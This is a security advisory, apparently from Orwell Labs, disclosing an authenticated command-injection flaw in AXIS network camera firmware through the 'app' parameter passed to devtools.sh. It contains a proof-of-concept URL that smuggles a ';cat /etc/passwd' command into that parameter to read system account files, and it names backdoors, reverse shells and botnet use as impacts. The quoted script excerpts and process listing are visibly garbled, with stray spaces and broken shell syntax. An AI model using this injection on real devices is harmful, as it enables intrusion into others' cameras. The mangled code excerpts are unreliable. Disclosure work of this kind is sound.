(+) Locally Exploitable: No
(+) OLSA-ID: OWLL2015-8257

Vulnerability
+++++++++++++
AXIS Network Cameras (various models/firmwares) are prone to Authenticated remote
command execution vulnerability. Exploiting this vulnerability a remote attacker can
force the execution of certain unauthorized actions, which may lead to further attacks.
Technical Details
+++++++++++++++++
The devtools.sh script is the responsible for vulnerability and it's 4 attack vectors through the following pages:
http://xxx.xxx.xxx.xxx/app_license.shtml?app=
http://xxx.xxx.xxx.xxx/app_license_custom.shtml?app=
http://xxx.xxx.xxx.xxx/app_index.shtml?app=
http://xxx.xxx.xxx.xxx/app_params.shtml?app=
An attacker can use the app parameter that waits for the name of a
legitimate application to inject commands in the operating system using
"%3B", for example, to read the contents of /etc/passwd:
http: //
xxx.xxx.xxx.xxx/app_license.shtml?app=ORWELLLABS%3Bcat%20/etc/passwd
The data entered in parameter "app =" is passed without any treatment for
devtools.sh script located at: {HTMLROOL}/bin/devtools.sh
This script contains several functions, namely:
list()
status()
menulist()
mainpagelink()
SETTINGSLINK()
confvariable()
echo_ssivar_licensekey()
load_auto_inst_form()
When these functions are invoked, they interact with the parameters passed
by the web application through
the affected scripts (e.g. ap_license.shtml? App =). By injecting the code
below:
http: //
xxx.xxx.xxx.xxx/app_license.shtml?app=ORWELLLABS%3Bcat%20/etc/passwd
The value passed in "app" will be passed directly to the script invoking
devtools.sh via shell -c as shown in the listing process below (third line
invoking confvariable function):
[SNIP]
2039led25472 S/usr/bin/enldgts -n
12014 root 0 SW [kworker/0:0]
13178 root2548 S/bin/sh -c /usr/html/bin/devtools.sh
confvariable ORW..
13183 root2728 Rps -aux PACKAGENAME
13312 root 0 SW [kworker/3:1]
13320 root 0 SW [kworker/2:0]
[SNIP]
The value "ORWELLLABS%3Bcat%20/etc/passwd" is then passed on to the
corresponding function (after passing through a conference on "confvariable
()").
confvariable() {
local val=
if [ -r "$PACKAGE_DIRECTORY/$1/$ADPPACKCFG" ]; then
. "$PACKAGE_DIRECTORY/$1/$ADPPACKCFG" || :
eval val=\$$2
echo $val
fi
}
Then enter the function "menulist ()" which we see the main stretch located
between the lines 127 and 143:
[SNIP]
127 [ "$ name", "/app_params.shtml", "app = $ APPNAME &" hostA, <! -
expr = "\ $ activeMenu1 = $ APPNAME" -> true <! -
endif ->, null,
128 [
129 [ "Settings", "/app_params.shtml", "app = $ APPNAME &" hostA, <! -
expr = "\ $ ActivePage = param_ $ APPNAME" -> true <! -
<! -
130 EOF
131 if [-z "$ LICENSEPAGE"] || [ "$ LICENSEPAGE" axis =]; Then
132 cat << - EOF
133 [ "License", "/app_license.shtml", "app = $ APPNAME &" hostA, <! -
expr = "\ $ ActivePage = license_ $ APPNAME" -> true <! -
<! -
134 EOF
135 fi
136 if [ "$ LICENSEPAGE" = custom] && [-r "$ HTMLROOT / local / $ APPNAME /
license.inc"]; Then
137 cat << - EOF
138 [ "License", "/app_license_custom.shtml", "app = $ APPNAME &" hostA, <!
-
false <! -
139 EOF
140 fi
141 if [-r "$ HTMLROOT / local / $ APPNAME / about.inc"]; Then
142 cat << - EOF
143 [ "About", "/app_index.shtml", "app = $ APPNAME &" hostA, <! -
expr = "\ $ ActivePage = $ APPNAME" -> true <! -
endif ->, null, []],
Where the important lines are the menus below:
/bin/devtools.sh (127):
[ "$ Name", "/app_params.shtml", "app = $ APPNAME &" hostA, <! -
= "\ $ activeMenu1 = $ APPNAME" -> true -> false <! -
/bin/devtools.sh (129):
[ "Settings", "/app_params.shtml", "app = $ APPNAME &" hostA, <! -
expr = "\ $ ActivePage = param_ -> true <! - # Else -> false < ! - # endif
->, null, []],
/bin/devtools.sh (133):
[ "License", "/app_license.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = License" -> true <! - # Else -> false <! - # endif
->, null, []],
/bin/devtools.sh (138):
[ "License", "/app_license_custom.shtml", "app = $ APPNAME &" hostA, <! - #
If expr = "\ $ ActivePage = APPNAME" -> true <! - # Else -> false <! - #
endif ->, null, []],
/bin/devtools.sh (143):
[ "About", "/app_index.shtml", "app = $ APPNAME &" hostA, <! - # If expr =
"\ $ ActivePage = $ APPNAME" - # else -> false <! - # endif ->, null, []],
In PoC presented above, the payload will be triggered in line vector 133 of
devtools script ( "License" menu) that will:
[ "License", "/app_license.shtml", "app = ORWELLLABS% 3Bcat% 20
/etc/passwd& "HostA, <! - # If expr =" \ $ ActivePage = License "-> true <!
- # Else -> false <! - # Endif ->, null, []],
And when executed echoes the results on the page.
Impact
++++++
The impact of this vulnerability is that taking into account the busybox
that runs behind (and with root privileges everywhere. in all the binaries
and scripts) is possible to execute arbitrary commands, create backdoors,
performing a reverse connection to the machine attacker, use this devices
as botnets and DDoS amplification methods... the limit is the creativity of
the attacker.
